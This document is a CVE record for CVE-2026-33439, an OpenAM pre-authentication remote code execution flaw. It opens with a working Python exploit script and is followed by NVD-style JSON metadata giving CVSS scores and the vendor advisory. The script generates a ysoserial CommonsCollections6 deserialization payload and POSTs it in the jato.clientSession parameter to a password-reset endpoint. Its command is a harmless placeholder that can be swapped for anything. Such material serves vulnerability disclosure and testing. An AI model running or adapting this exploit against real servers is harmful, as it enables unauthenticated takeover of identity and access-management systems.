CVE-2026-33439

import requests import subprocess import sys import urllib.parse # Target URL (Example) # Change this to the actual vulnerable endpoint (e.g., /openam/passwordReset) target_url = "http://target-openam-server/openam/passwordReset" # Command to execute on the target server cmd = "touch /tmp/pwned" # Common gadget chain for Java deserialization # Ensure ysoserial.jar is in the current directory or in PATH gadget_chain = "CommonsCollections6" print(f"[*] Generating payload using ysoserial for command: {cmd}") try: # Generate the serialized Java object payload # Command: java -jar ysoserial.jar <gadget> <command> proc = subprocess.Popen( ["java", "-jar", "ysoserial.jar", gadget_chain, cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE ) payload, err = proc.communicate() if err: print(f"[-] Error generating payload: {err.decode()}") sys.exit(1) except FileNotFoundError: print("[-] 'java' or 'ysoserial.jar' not found. Please install Java and download ysoserial.") sys.exit(1) print(f"[*] Payload generated (Length: {len(payload)} bytes)") # The vulnerability lies in the 'jato.clientSession' parameter # We send the serialized object as a POST parameter params = { "jato.clientSession": payload } # Headers might be needed depending on the server configuration headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Sending malicious request to {target_url}") try: response = requests.post(target_url, data=params, headers=headers, timeout=10) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.content)}") # Note: Successful RCE via deserialization often results in no HTTP response or a 500 error # Verify execution by checking the target server (e.g., checking if /tmp/pwned exists) print("[*] Exploit sent. Please verify command execution on the target server.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

{"cve": {"id": "CVE-2026-33439", "sourceIdentifier": "[email protected]", "published": "2026-04-07T21:17:17.407", "lastModified": "2026-04-15T23:34:32.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open Access Management (OpenAM) is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution (RCE) via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream mitigation that was applied to the jato.pageSession parameter after CVE-2021-35464. An unauthenticated attacker can achieve arbitrary command execution on the server by sending a crafted serialized Java object as the jato.clientSession GET/POST parameter to any JATO ViewBean endpoint whose JSP contains <jato:form> tags (e.g., the Password Reset pages). This vulnerability is fixed in 16.0.6."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openidentityplatform:openam:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.6", "matchCriteriaId": "448995F0-D580-4B7A-AF84-7FDB93013B6A"}]}]}], "references": [{"url": "https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}